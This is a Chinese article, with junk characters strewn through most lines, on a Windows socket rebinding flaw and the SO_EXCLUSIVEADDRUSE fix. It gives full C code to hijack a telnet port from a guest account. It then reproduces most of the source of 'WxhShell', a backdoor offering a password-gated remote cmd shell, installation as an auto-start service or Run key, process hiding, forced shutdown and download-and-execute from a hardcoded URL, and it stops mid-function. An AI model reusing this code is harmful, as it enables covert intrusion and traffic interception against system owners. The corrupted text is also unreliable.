在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
.LDK+c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Xx_v>Jn! Y !e saddr.sin_family = AF_INET;
0|<ER3xkx >e y.7YG saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}%_h|N uMl.}t2uYu bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*I)oDq3 (uV~1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Jh2eo+/% _=9o:F 这意味着什么?意味着可以进行如下的攻击:
EoM}Co KI~BjP\e 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
QAYhAOS|e pI2g\cH> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
LaL.C^K o7"2"(
=> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
mJT< NF`WA-W8@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?I{pv4G: ]O'dwC 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
H^cB?i <rd7<@>5D 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
i$HA@S P6,~0v(S 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~|+!xh } LLnJl~Z #include
b0
))->&2 #include
_:ypPRJ #include
OYKeu(=L #include
OZ\ ]6]L DWORD WINAPI ClientThread(LPVOID lpParam);
|_V i8Ly int main()
zlC|Sp af {
j0b?dKd WORD wVersionRequested;
SE=3`rVJ DWORD ret;
j+0=)Q%I= WSADATA wsaData;
dIiQ^M BOOL val;
pp{Za@j SOCKADDR_IN saddr;
jQjtO"\JG SOCKADDR_IN scaddr;
rb_ cm int err;
jEr/*kv SOCKET s;
EU?)AxH^ SOCKET sc;
P?%kV int caddsize;
bp G`,[ HANDLE mt;
b#%s! DWORD tid;
@i`*i@g wVersionRequested = MAKEWORD( 2, 2 );
~IvAnwQ' err = WSAStartup( wVersionRequested, &wsaData );
$Lpt2:.(( if ( err != 0 ) {
kfaRN^ printf("error!WSAStartup failed!\n");
KLpu7D5(| return -1;
=fmM=@!$< }
=C{)i@ + saddr.sin_family = AF_INET;
_^cDB1I? 49b#$Xq //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
&|( 'z\k n(^{s5 Rr saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:G$f)NMK saddr.sin_port = htons(23);
=!{7ZSu\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
FG.MV-G
{
jt|e?1:vF printf("error!socket failed!\n");
$_s"16s return -1;
l
\~w(8g<A }
k(|D0%#b7 val = TRUE;
69{^Vfd;Y //SO_REUSEADDR选项就是可以实现端口重绑定的
1U[8OM{$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
k.nq, {
u,i~,M printf("error!setsockopt failed!\n");
.6Jo1$+ return -1;
FHpS ?htRy }
P,y*H_@k //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
UJ-IK|P.# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]i'hCa $$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g:0-`,[ ER0nrTlB< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
+92/0 {
v%O KOrJ ret=GetLastError();
4DY\QvW5 printf("error!bind failed!\n");
((i%h^tGa; return -1;
(.~#bl }
bdh6ii listen(s,2);
#rSm;'%, while(1)
QDCu {
-r%4,4 caddsize = sizeof(scaddr);
c@d[HstBJ //接受连接请求
1fBj21zG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
pv<$
o if(sc!=INVALID_SOCKET)
2QwdDKMS_ {
O>]I!n`!!A mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ETk4I" if(mt==NULL)
?+-uF} {
N"d
M+ printf("Thread Creat Failed!\n");
0BF'@r"; break;
bt3v`q+V }
k}T#-Gb }
LE^kN<qMK CloseHandle(mt);
(V2~txMh }
K=|x"6\ closesocket(s);
e1$T%?(&[ WSACleanup();
E.V#Bk=
return 0;
5yPw[
EY }
\"!Fw)wj DWORD WINAPI ClientThread(LPVOID lpParam)
vmW >$P {
yVQ0;h SOCKET ss = (SOCKET)lpParam;
&AR@5M u SOCKET sc;
? <b>2j unsigned char buf[4096];
l-` M
9# SOCKADDR_IN saddr;
'Rbv3U long num;
13
`Or(>U DWORD val;
AlP}H~|M7 DWORD ret;
sPMCN's //如果是隐藏端口应用的话,可以在此处加一些判断
;hP43Bi //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
zu8 saddr.sin_family = AF_INET;
wc?`QX}I saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
b1An2e[ saddr.sin_port = htons(23);
'qR)f\em if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c*o05pMS {
1?:/8l%V printf("error!socket failed!\n");
]%AmX-U return -1;
;vM&se63 }
t[HfaW1W val = 100;
fBtTJ+51} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!S6zC > {
xUT]6T0dB ret = GetLastError();
hSQ*_# return -1;
a<%Ivqni }
X@l>mAk if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9H^$cM9C {
a2J01B ret = GetLastError();
3>60_:+Zb return -1;
D#VUx9kugv }
NP
}b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$tKz|H) {
YN.[KQ(! printf("error!socket connect failed!\n");
}>`rf{T closesocket(sc);
@smjXeFo closesocket(ss);
WdQR^'b$ return -1;
4%k{vo5i }
}N@8zB~X while(1)
AlZ]UGf^ {
fpd4 v|( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
a=m4)tjk //如果是嗅探内容的话,可以再此处进行内容分析和记录
?T.'
q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
3zC<k2B num = recv(ss,buf,4096,0);
p'SclH[ if(num>0)
~kHWh8\b: send(sc,buf,num,0);
?@n,
9! else if(num==0)
=3K}]3f break;
l@edR)n < num = recv(sc,buf,4096,0);
{'O,G$Ldkr if(num>0)
lX g.` send(ss,buf,num,0);
e,J
q<=j else if(num==0)
#)A.yK`u break;
.W;,~.l }
e`]x?t<U4/ closesocket(ss);
k*xMe- closesocket(sc);
d v8q&_
return 0 ;
2'> }
Y52f8qQq {|!>
{ _]oNbcbt( ==========================================================
{,:yZ&( = Ob-'Syg> 下边附上一个代码,,WXhSHELL
&k\`!T1 Y)V)g9 ==========================================================
|aD8 1}=@';cK* #include "stdafx.h"
4$~A%JN3 ,,}&
Q%5 #include <stdio.h>
Hl"^E*9x #include <string.h>
eMHBY6<~= #include <windows.h>
$U*b;'o #include <winsock2.h>
(U`<r-n\n #include <winsvc.h>
KE$I!$zO #include <urlmon.h>
7{W#i<W -] @cUx #pragma comment (lib, "Ws2_32.lib")
q8m[ S4Q]g #pragma comment (lib, "urlmon.lib")
W!Qaa(o? :OEovk(` #define MAX_USER 100 // 最大客户端连接数
Vi9Kah+ #define BUF_SOCK 200 // sock buffer
l&JV.}qGB8 #define KEY_BUFF 255 // 输入 buffer
3ncL351k \+iZdZD #define REBOOT 0 // 重启
4:Ton #define SHUTDOWN 1 // 关机
~DJI Lc uW 7Yem& #define DEF_PORT 5000 // 监听端口
lGhhH_ uO^,N**R# #define REG_LEN 16 // 注册表键长度
7T69tQZ< #define SVC_LEN 80 // NT服务名长度
E'g?44vyw .DrGr:UW // 从dll定义API
>;s!X(6b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
u{J\X$] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
zg}#X6\G<_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v#^ _| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
S UBrFsA Z [Q jl* // wxhshell配置信息
3[*x'"Q;H struct WSCFG {
%(}%#-X int ws_port; // 监听端口
&P pb2 char ws_passstr[REG_LEN]; // 口令
"=Xky,k int ws_autoins; // 安装标记, 1=yes 0=no
'.gLqm}% char ws_regname[REG_LEN]; // 注册表键名
)x&4 Q= char ws_svcname[REG_LEN]; // 服务名
xofxE4. char ws_svcdisp[SVC_LEN]; // 服务显示名
2G&H[` char ws_svcdesc[SVC_LEN]; // 服务描述信息
HrK7qLw7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+~n"@ / int ws_downexe; // 下载执行标记, 1=yes 0=no
[wkSY>Gu char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
q.:j
yj6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
vp|.x |@ uY;7&Lw
y1 };
)u?^w Xs Ey8V // default Wxhshell configuration
c&"OhzzJK' struct WSCFG wscfg={DEF_PORT,
ET\>cxSp "xuhuanlingzhe",
werTwe2Q 1,
4p6\8eytq. "Wxhshell",
8+mu'RZ X "Wxhshell",
Hfo/\\ "WxhShell Service",
|_\q5?S "Wrsky Windows CmdShell Service",
oAt{#v "Please Input Your Password: ",
{>h,@ 1,
],|; "
http://www.wrsky.com/wxhshell.exe",
f\u5=!kjN "Wxhshell.exe"
MA+{7 [ };
!*!i&0QC~R 6^QSV@N| // 消息定义模块
/P[ @o char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
@W.0YU0|J char *msg_ws_prompt="\n\r? for help\n\r#>";
2{A/Fbk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
l\6.f_ char *msg_ws_ext="\n\rExit.";
/St d6B* char *msg_ws_end="\n\rQuit.";
(.~,I+Cz' char *msg_ws_boot="\n\rReboot...";
,<O|#`?"@G char *msg_ws_poff="\n\rShutdown...";
CyKupJ.Fq char *msg_ws_down="\n\rSave to ";
z{(c-7* 0RF<:9@x2 char *msg_ws_err="\n\rErr!";
fO{'$?K char *msg_ws_ok="\n\rOK!";
s*tzU.E( OrRU$5Lo char ExeFile[MAX_PATH];
-Gj."ks int nUser = 0;
,e@707d`\ HANDLE handles[MAX_USER];
v$~ZT_"(9 int OsIsNt;
c:u2a/Q? 1Q!^%{Y; SERVICE_STATUS serviceStatus;
2>F`H7W SERVICE_STATUS_HANDLE hServiceStatusHandle;
\=
G8 #XeEpdE // 函数声明
F* _ytL int Install(void);
7hAc6M$h; int Uninstall(void);
A 6j>KTU int DownloadFile(char *sURL, SOCKET wsh);
oV;I8;#\J int Boot(int flag);
rrrn8b6
void HideProc(void);
yv(\5)XF int GetOsVer(void);
GmdS~Fhp int Wxhshell(SOCKET wsl);
ia*Bcx_RW+ void TalkWithClient(void *cs);
!=p^@N7 int CmdShell(SOCKET sock);
Senb_? int StartFromService(void);
+GlG.6 int StartWxhshell(LPSTR lpCmdLine);
l~#%j( Yo bnxR)b~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
uuf+M-P VOID WINAPI NTServiceHandler( DWORD fdwControl );
_xdFQ dk.VH!uVb // 数据结构和表定义
u;/<uV3 SERVICE_TABLE_ENTRY DispatchTable[] =
KY9&Ky+2 B {
s-e<&*D[ {wscfg.ws_svcname, NTServiceMain},
~PA6e+gmL {NULL, NULL}
*3h!&.zm };
yL"pzD`[H 9V?:!%J // 自我安装
,K8(D<{ int Install(void)
=P`l+k3 {
V~4yS4 char svExeFile[MAX_PATH];
*GC9o/ HKEY key;
.ZVo0 strcpy(svExeFile,ExeFile);
^ Iy'<J E-b3#\^: // 如果是win9x系统,修改注册表设为自启动
&-(p~[| if(!OsIsNt) {
9 UcSQ"D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GcHZ&m4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
WXX08" RegCloseKey(key);
*6QmYq6c< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U,tWLX$@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
cE7IHQ RegCloseKey(key);
:M\3.7q return 0;
I7HP~v~ }
jB0ED0)wX }
t4FaU7 }
A>Xt 5vk+ else {
>OW>^%\!1 .WpvDDUK3 // 如果是NT以上系统,安装为系统服务
l>?k>NEpP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4qg]
oiT if (schSCManager!=0)
#2Z\K>L {
5u^;71 SC_HANDLE schService = CreateService
wKj0vMW (
L<O"36R schSCManager,
V38v2LI wscfg.ws_svcname,
KO&oT#S wscfg.ws_svcdisp,
]V.0%Ccw;. SERVICE_ALL_ACCESS,
xYD.j~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
XFrgnnt SERVICE_AUTO_START,
">'`{mXew SERVICE_ERROR_NORMAL,
J/ZC<dkYQ svExeFile,
nI<Ab_EB NULL,
'/Ag3R NULL,
]?n~?dD{] NULL,
j[&C6l+wH NULL,
=7 ${bp! NULL
p'YNj3&u );
zH1:kko if (schService!=0)
Q2RO&dL
9 {
=J827c{. CloseServiceHandle(schService);
D",~? CloseServiceHandle(schSCManager);
&46Ro|XE` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?%wM 8? strcat(svExeFile,wscfg.ws_svcname);
p<AzpkU,A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Vv~:^6il RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@Yzc?+x RegCloseKey(key);
:yE7jXB return 0;
}@NT#hD }
MP%pEUomev }
07qL@![! CloseServiceHandle(schSCManager);
W6L}T,epX }
$+Zj)V( }
N83g=[ -A;4"" return 1;
7?EC
kuSv }
2:Rxyg@' g@B,0JRh // 自我卸载
0\Ga&Q0-(O int Uninstall(void)
<O30X
!QuK {
n;0x\Q|S HKEY key;
q3$;lLsb;j wwh)B92Y5 if(!OsIsNt) {
e=w.7DSE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H/BU2s a RegDeleteValue(key,wscfg.ws_regname);
b8TwV_&|X RegCloseKey(key);
dT4e[4l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=~F.7wq*^ RegDeleteValue(key,wscfg.ws_regname);
DTp|he RegCloseKey(key);
)\|Bghui return 0;
F]7$Y }
(H-Y-Lk+ }
\ws^L,h }
N77EM else {
z{ydP Ra l1wYN,rv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ss
c3uo 0 if (schSCManager!=0)
2$%E:J+2:$ {
@N,I}_ 9- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
okv`v
({ if (schService!=0)
Fu6~8uDV{{ {
CxW-lU3G` if(DeleteService(schService)!=0) {
7d"gRM; CloseServiceHandle(schService);
>djTJ>dl_u CloseServiceHandle(schSCManager);
Rr3<ln return 0;
k| Ye[GM* }
hY-;Vh0J CloseServiceHandle(schService);
%?~`'vYoi }
{'R\C5:D7 CloseServiceHandle(schSCManager);
OJ Y_u[ }
2Ed }
X__>r ?oJ +ZxG<1& return 1;
UJ8V%0 }
oiY&O]} E^<.; // 从指定url下载文件
t:<dirw,o int DownloadFile(char *sURL, SOCKET wsh)
f*Dy>sw {
|)\{Rufb HRESULT hr;
4_B1qN
char seps[]= "/";
tW#=St0<.o char *token;
j/Rm~!q char *file;
5\|u]
~b char myURL[MAX_PATH];
0nV|(M0lu? char myFILE[MAX_PATH];
U*7Yi-"/* K
oF4e:2> strcpy(myURL,sURL);
=9@t6 token=strtok(myURL,seps);
hJcN*2\: while(token!=NULL)
x&PVsXdt5m {
,@*Srrw file=token;
uY'77,G_J token=strtok(NULL,seps);
i9%cpPrg8 }
#Z.2g]. lqe71](sK8 GetCurrentDirectory(MAX_PATH,myFILE);
_[_mmf1;:' strcat(myFILE, "\\");
GI40Ztms strcat(myFILE, file);
#0wH.\79 send(wsh,myFILE,strlen(myFILE),0);
d:V6.7>, send(wsh,"...",3,0);
M~+T
$K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
KqH_?r` if(hr==S_OK)
[O52Bn return 0;
!Hp H else
]@D#<[5\ return 1;
KnjowK 4v("qNw# }
"\l O1D c7fQ{"f 3B // 系统电源模块
<#r/4a"V int Boot(int flag)
[V-OYjPAx {
{zf)im[. HANDLE hToken;
LAT%k2%Wx TOKEN_PRIVILEGES tkp;
ZSo#vQ `43X? yQ if(OsIsNt) {
YLEa;MR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
g)@d(EYY LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
UZ"jQJQ tkp.PrivilegeCount = 1;
dY'mY ~Tv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
I3wv6xZ2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
w6 x{<d if(flag==REBOOT) {
rL=_z^.P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|d B`URP return 0;
D'!
v9} }
S)h0@;q else {
IV5B5Q'D if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
h/t{=
@
.5 return 0;
1 ynjDin< }
T1&^IO-F7$ }
}}g.L| else {
0;bi*2U if(flag==REBOOT) {
RTgR>qI&) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
U0Y;*_>4 return 0;
DG!H8^
}
[z^db0PU else {
v,] &[` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
c-a he;q return 0;
1Y-m=~J7 }
Zss `## }
!7KSNwGu m<DiYxK return 1;
y
;$8C }
WjrUns CfWtCA // win9x进程隐藏模块
%bp8VR sY void HideProc(void)
7K|:
7e( {
0xe!tA tL;!!vg#V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
LXm5f; if ( hKernel != NULL )
EMV<PshW= {
w!=Fi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
p? dXs^ c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*+-L`b{SX FreeLibrary(hKernel);
TC=djC4$/ }
o?Wp[{K h5:>o return;
m\}8N
u }
EP|OKXRltA %L\buwjy$ // 获取操作系统版本
*r&q;ER int GetOsVer(void)
},d`<^~ {
XU3v#Du OSVERSIONINFO winfo;
.5;Xd? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
nS53mLU) GetVersionEx(&winfo);
*,UD&N_)*6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
i"h '^6M1 return 1;
,1s,G]%M else
Gxtb@`f return 0;
I4%p?'i,C }
TaZw_)4c XYOPX>$T // 客户端句柄模块
qJQ!e int Wxhshell(SOCKET wsl)
BDeX5/`U# {
fn1G^a= SOCKET wsh;
`o.DuvQ
E struct sockaddr_in client;
\1AtBc& DWORD myID;
epWO}@
b a x*EzX4$x while(nUser<MAX_USER)
sUfYEVjr {
>|"mhNF int nSize=sizeof(client);
_m
*8f\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>~g(acH%`x if(wsh==INVALID_SOCKET) return 1;
?3{R'Buv] l O)0p2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ZwV`} 2{ if(handles[nUser]==0)
q]-CTx$ closesocket(wsh);
j#C1+Us else
b&y"[1` nUser++;
DRBRs-D }
+0,{gDd+
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?9_RI(a.} >#q2KXh return 0;
`+4>NT6cu9 }
,<^7~d{{3m T4O H,^J // 关闭 socket
=
}&@XRLJ void CloseIt(SOCKET wsh)
]y4(WG;: {
k
k&8:;Vj closesocket(wsh);
5,>Of~YN nUser--;
ha;Xali ] ExitThread(0);
Y=%SK8]Q; }
rcC}4mNe nTJ-1A7EP // 客户端请求句柄
Myl!tXawe8 void TalkWithClient(void *cs)
]kN<N0;\d {
?y] q\> 62R94 SOCKET wsh=(SOCKET)cs;
T,Bu5:@# char pwd[SVC_LEN];
=aWj+ggd@ char cmd[KEY_BUFF];
GJUorj& char chr[1];
!s>AVV$;0 int i,j;
/D]V3|@E X" hoDg while (nUser < MAX_USER) {
d$3;o&VUNI wIrjWU2 if(wscfg.ws_passstr) {
Vr1Wr%
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$a.!X8sHB. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
GwOn&EpY! //ZeroMemory(pwd,KEY_BUFF);
BEQ$p)
h i=0;
X>[x7t: while(i<SVC_LEN) {
23lLoyN r((2.,\Z // 设置超时
B@:c8}2. fd_set FdRead;
+0w~Skd, struct timeval TimeOut;
a?zn>tx FD_ZERO(&FdRead);
>q'xW=Y
j\ FD_SET(wsh,&FdRead);
3f u*{8.XZ TimeOut.tv_sec=8;
^J?ExMu TimeOut.tv_usec=0;
'f#i@$|] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+<G |Ru- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
p19[qy~. @>wD`<U| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
B? Vr9H 7n pwd
=chr[0]; S~dD ;R
if(chr[0]==0xd || chr[0]==0xa) { KjrUTG0oA
pwd=0; ~wMdk9RQ
break; Bs@!S?
} *4i)aj
i++; O8;`6r
} A`=;yD
.4M8
// 如果是非法用户,关闭 socket )HrFWI'Y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m])!'Pa(=
} CQf<En|1
W+A-<Rh\
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tQSj[Yl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qy)+YhE
Xq3n7d.
while(1) { =!axQ[)A
thoAEG80
ZeroMemory(cmd,KEY_BUFF); ")/TbTVu
hX-([o
// 自动支持客户端 telnet标准 vv2N;/;I
j=0; y_^w|
while(j<KEY_BUFF) { _RLx;Tn)L
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HF9\SVR
B
cmd[j]=chr[0]; U
Hej5-B
if(chr[0]==0xa || chr[0]==0xd) { yIab3/#`
cmd[j]=0; 9uXu V$.
break; U>q&p}z0H
} AN!MFsk
j++; [DW}z
} ISQC{K']J
}Pm>mQZ},
// 下载文件 -S7PnR6
if(strstr(cmd,"http://")) { y8Q96zi
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =h?Q.vad
if(DownloadFile(cmd,wsh)) .Z,3:3,]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5yvaY
"B
else FmfPi
.;1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?'xTSAn
} ,BK6a'1J
else { ;l^4/BR
?;{fqeJz
switch(cmd[0]) { p*11aaIbp~
:ZP4(}
// 帮助 [x{S ,?6
case '?': { CaX0Jlk*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u/Os
break; ~c
e?xr|
} R&z)
// 安装 4Xna}7
case 'i': { }uI(D&?+h
if(Install()) @W\y#5"B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kI|Vv90l
else ~~U2Sr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z3l=aAw8
break; $rB20!
} dx=\Pq
// 卸载 }3t bqFiH
case 'r': { CgLS2
if(Uninstall()) 2b+0}u>a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /?POIn+0o
else "W_C%elg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _1z|QC
break; go, Hfb
} Yp8~wdm
// 显示 wxhshell 所在路径 _9Pxtf
case 'p': { #!IezvWf
char svExeFile[MAX_PATH]; _Qy3A T~
strcpy(svExeFile,"\n\r"); )ca^%(25!z
strcat(svExeFile,ExeFile); @w1@|"6vF
send(wsh,svExeFile,strlen(svExeFile),0); | v?
pS
break; 9/lCW
} QjW7XVxB#N
// 重启 RU>Hr5ebo
case 'b': { p_!;N^y.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O<3i6
if(Boot(REBOOT)) 8:Yha4<Bv7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $9GRA M.
else { ^!]Hm&.a
closesocket(wsh); +ahr-v^R<
ExitThread(0); MC.,n$O}6
} $}d| ~q\
break; Onr#p4UT
} Da)rzr|}>3
// 关机 Zk+J= Cwq}
case 'd': { NO4V{}?a
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xl%!7?G|$>
if(Boot(SHUTDOWN)) s5 2c`+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x4SI TY
else { 1a#oJU
closesocket(wsh); B,SH9,
ExitThread(0); GW]E,a
} :kycIM]s
break; <B]\&
} a8T<f/qW k
// 获取shell (fgX!G[W
case 's': { O_*(:Z
CmdShell(wsh); !B==cNq
closesocket(wsh); xF)AuGdp\
ExitThread(0); mU1lEx$
break; )k F/"'o
} Z, Kbt
// 退出 Az.k6)~
case 'x': { a:jRQ-F)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T^-fn
CloseIt(wsh); t#+X*'/
break; R5LzqT,/N:
} 0\tk/<w2
// 离开 X !5
case 'q': { 7s%DM6li 6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); C24[brf
closesocket(wsh); gY AXUM,
WSACleanup(); .p%p _
exit(1); QMI&?Q:=
break; V:h-K`~/
} R9SJ;TsE
} '3Ir(]Wfd
} q#W|*kL3
7<Fp3N 3
// 提示信息 pv2_A
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DXlP(={*
} E3gR%t
} e";r_J3w
U;n$
return; [GeJn\C_?
} T>(nc" (
`d#l o
// shell模块句柄 F]~ rA! g1
int CmdShell(SOCKET sock) x^aqnKoJ%\
{ uX{n#i,~L
STARTUPINFO si; N> RabD
ZeroMemory(&si,sizeof(si)); MnvFmYgxA
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZF
:e6em
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mj0{Nd
PROCESS_INFORMATION ProcessInfo; N9r}nqCN
char cmdline[]="cmd"; *F+t`<2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QRnkj]b
return 0; ~je#gVoUR
} JGPLVw
>=hOjV;
// 自身启动模式 UhCE.#
U
int StartFromService(void) -f0Nb+AR
{ jR@j+p^e
typedef struct X>mY`$!/
{ P F!S
DWORD ExitStatus; 4l2i'H
DWORD PebBaseAddress; 6#XB'PR2p
DWORD AffinityMask; ODK$G
[-
